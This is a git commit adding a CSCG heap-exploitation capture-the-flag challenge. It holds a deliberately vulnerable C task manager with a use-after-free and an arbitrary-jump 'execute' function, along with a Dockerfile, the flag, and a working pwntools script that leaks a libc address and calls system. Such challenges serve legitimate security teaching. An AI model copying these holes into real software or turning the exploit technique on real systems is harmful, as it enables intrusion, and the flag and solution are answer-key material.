commit f1aa2b1865e8362caf8995cbbdb1c87d216189ab
Author: Louis Burda <quent.burda@gmail.com>
Date: Mon, 1 Apr 2024 22:45:25 +0200
Add solution
Diffstat:
8 files changed, 244 insertions(+), 0 deletions(-)
diff --git a/chall/description b/chall/description
@@ -0,0 +1 @@
+Your goal in this challenge is to leak the address of the system function. You will be given a program that manages memory using the heap You will need to use your heap manipulation skills to craft a payload that will retrieve the address. Can you find a way to achieve your goal and complete this first step heap exploitation? Good luck!
diff --git a/chall/intro-heap-1.zip b/chall/intro-heap-1.zip
Binary files differ.
diff --git a/solve/Dockerfile b/solve/Dockerfile
@@ -0,0 +1,35 @@
+FROM ubuntu@sha256:7a57c69fe1e9d5b97c5fe649849e79f2cfc3bf11d10bbd5218b4eb61716aebe6 as builder
+
+ADD --chmod=0755 --checksum=sha256:4c97fd03a3b181996b1473f3a99b69a1efc6ecaf2b4ede061b6bd60a96b9325a \
+ https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.0/repro-sources-list.sh \
+ /usr/local/bin/repro-sources-list.sh
+
+RUN \
+ --mount=type=cache,target=/var/cache/apt,sharing=locked \
+ --mount=type=cache,target=/var/lib/apt,sharing=locked \
+ /usr/local/bin/repro-sources-list.sh && \
+ apt-get update && apt-get install -y \
+ musl-dev \
+ musl-tools \
+ make \
+ xz-utils
+
+WORKDIR /work
+
+ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
+ https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
+ /work/ynetd-0.1.2.tar.xz
+
+RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make
+
+
+FROM ubuntu@sha256:7a57c69fe1e9d5b97c5fe649849e79f2cfc3bf11d10bbd5218b4eb61716aebe6 as runner
+
+RUN echo "8f7d59c6f95b0cf57a8db165033296dda91d1239 /lib/x86_64-linux-gnu/libc.so.6" | sha1sum -c
+
+COPY --from=builder /work/ynetd-0.1.2/ynetd /ynetd
+
+COPY ./main /main
+COPY ./flag /flag
+
+CMD /ynetd -p 1024 /main
diff --git a/solve/flag b/solve/flag
@@ -0,0 +1 @@
+CSCG{free_the_h3ap_get_the_leakyleak}
diff --git a/solve/libc.so.6 b/solve/libc.so.6
Binary files differ.
diff --git a/solve/main b/solve/main
Binary files differ.
diff --git a/solve/main.c b/solve/main.c
@@ -0,0 +1,142 @@
+// gcc -O0 -g main.c -o main
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+
+#define MAX_TASKS 25
+#define TASK_NAME 0x90
+
+typedef struct Task
+{
+ char name[TASK_NAME];
+} task_t;
+
+task_t *tasks[MAX_TASKS];
+
+long read_long()
+{
+ char buf[1024];
+ char *end;
+ long ret;
+
+ if (!fgets(buf, sizeof(buf), stdin))
+ {
+ puts("error reading stdin");
+ exit(1);
+ }
+ ret = strtol(buf, &end, 10);
+ if(end == buf){
+ puts("not a number");
+ exit(1);
+ }
+ return ret;
+}
+
+void add_task()
+{
+ char *last_n;
+
+ for (int i = 0; i < MAX_TASKS; i++)
+ {
+ if (tasks[i])
+ {
+ continue;
+ }
+ tasks[i] = malloc(sizeof(task_t));
+ printf("name? ");
+ read(0, tasks[i]->name, TASK_NAME);
+ last_n = strrchr(tasks[i]->name, '\n');
+ if (last_n)
+ {
+ *last_n = 0;
+ }
+ return;
+ }
+ puts("too many tasks :(");
+}
+
+void delete_task()
+{
+ long id;
+
+ printf("id? ");
+ id = read_long();
+ if (id >= MAX_TASKS)
+ {
+ puts("invalid id");
+ return;
+ }
+ if (!tasks[id])
+ {
+ puts("task does not exist");
+ return;
+ }
+ free(tasks[id]);
+}
+
+void list_tasks()
+{
+ for (int i = 0; i < MAX_TASKS; i++)
+ {
+ if (!tasks[i])
+ {
+ continue;
+ }
+ printf("[%02d] %s\n", i, tasks[i]->name);
+ }
+}
+
+void execute()
+{
+ long address;
+
+ printf("address? ");
+ address = read_long();
+ printf("jumping to %p\n", (void *)address);
+ ((void (*)(char *))address)("cat /flag");
+}
+
+int menu()
+{
+ long choice;
+ puts("---menu---");
+ puts("[0] exit");
+ puts("[1] add task");
+ puts("[2] delete task");
+ puts("[3] list tasks");
+ puts("[4] execute");
+
+ printf("choice? ");
+ choice = read_long();
+ return choice;
+}
+
+int main(int argc, char **argv)
+{
+ setvbuf(stdin, 0, _IONBF, 0);
+ setvbuf(stdout, 0, _IONBF, 0);
+ setvbuf(stderr, 0, _IONBF, 0);
+ while (1)
+ {
+ switch (menu())
+ {
+ case 0:
+ return 0;
+ case 1:
+ add_task();
+ break;
+ case 2:
+ delete_task();
+ break;
+ case 3:
+ list_tasks();
+ break;
+ case 4:
+ execute();
+ break;
+ default:
+ puts("choose wisely");
+ }
+ }
+}
+\ No newline at end of file
diff --git a/solve/solve b/solve/solve
@@ -0,0 +1,64 @@
+#!/usr/bin/env python3
+
+from pwn import *
+import sys
+
+args = sys.argv[1:]
+if args == []:
+ args = ["nc", "localhost", "1024"]
+io = process(args)
+
+nextfree = 0
+
+def create(data):
+ global nextfree
+ print("ADD", data)
+ print(io.readuntil(b"choice? "))
+ io.sendline(b"1")
+ print(io.readuntil(b"name? "))
+ io.send(data)
+ nextfree += 1
+ return nextfree - 1
+
+def delete(idx):
+ global nextfree
+ print("DEL", idx)
+ print(io.readuntil(b"choice? "))
+ io.sendline(b"2")
+ print(io.readuntil(b"id? "))
+ io.sendline(str(idx).encode())
+
+# fill tcache (7) and free 2 to unsorted
+for _ in range(7 + 2):
+ create(b"." * 8)
+for i in range(7 + 2 - 1, -1, -1):
+ delete(i)
+
+# exhaust tcache
+for _ in range(7):
+ create(b"." * 8)
+
+# alloc from unsorted and bridge leading nullbyte
+idx = create(b"?" * 1)
+
+context.log_level = "DEBUG"
+
+io.readuntil(b"choice? ")
+io.sendline(b"3")
+io.readuntil(f"[{idx:02}] ".encode())
+line = io.readline()
+addr = u64(line[:-1].ljust(8, b"\x00"))
+
+libc_base = addr - ord('?') - 0x219e00
+libc_system = libc_base + 0x0000000000050d60
+
+print(hex(addr))
+print(hex(libc_system))
+
+
+io.readuntil(b"choice? ")
+io.sendline(b"4")
+io.sendline(str(libc_system).encode())
+
+io.interactive()
+